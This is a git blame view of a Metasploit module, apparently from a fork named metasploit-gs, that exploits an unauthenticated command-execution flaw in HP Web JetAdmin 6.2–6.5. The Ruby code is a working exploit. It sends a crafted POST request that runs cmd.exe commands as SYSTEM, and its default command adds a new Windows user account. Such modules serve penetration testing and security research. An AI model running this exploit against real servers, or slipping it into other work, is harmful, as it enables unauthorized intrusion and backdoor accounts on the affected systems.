Files
metasploit-gs/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

52 lines
1.5 KiB
Ruby
Raw Normal View History

2009-12-30 22:24:22 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-12-30 22:24:22 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2009-12-30 22:24:22 +00:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
def initialize(info = {})
2023-02-08 14:30:08 +00:00
super(
update_info(
info,
'Name' => 'HP Web JetAdmin 6.5 Server Arbitrary Command Execution',
'Description' => %q{
This module abuses a command execution vulnerability within the
web based management console of the Hewlett-Packard Web JetAdmin
network printer tool v6.2 - v6.5. It is possible to execute commands
as SYSTEM without authentication. The vulnerability also affects POSIX
systems, however at this stage the module only works against Windows.
This module does not apply to HP printers.
},
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE,
'References' => [
[ 'OSVDB', '5798' ],
2009-12-30 22:24:22 +00:00
[ 'BID', '10224' ],
2023-02-08 14:30:08 +00:00
# [ 'CVE', '' ],# No CVE!
2012-06-28 14:27:12 -05:00
[ 'EDB', '294' ]
2009-12-30 22:24:22 +00:00
],
2023-02-08 14:30:08 +00:00
'DisclosureDate' => '2004-04-27'
)
)
2013-08-30 16:28:54 -05:00
2023-02-08 14:30:08 +00:00
register_options(
[
Opt::RPORT(8000),
OptString.new('CMD', [ false, 'The command to execute.', 'net user metasploit password /add' ]),
]
)
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
def run
cmd = datastore['CMD'].gsub(' ', ',')
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
send_request_cgi({
2023-02-08 14:30:08 +00:00
'uri' => '/plugins/framework/script/content.hts',
'method' => 'POST',
'data' => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)'
}, 3)
2009-12-30 22:24:22 +00:00
end
end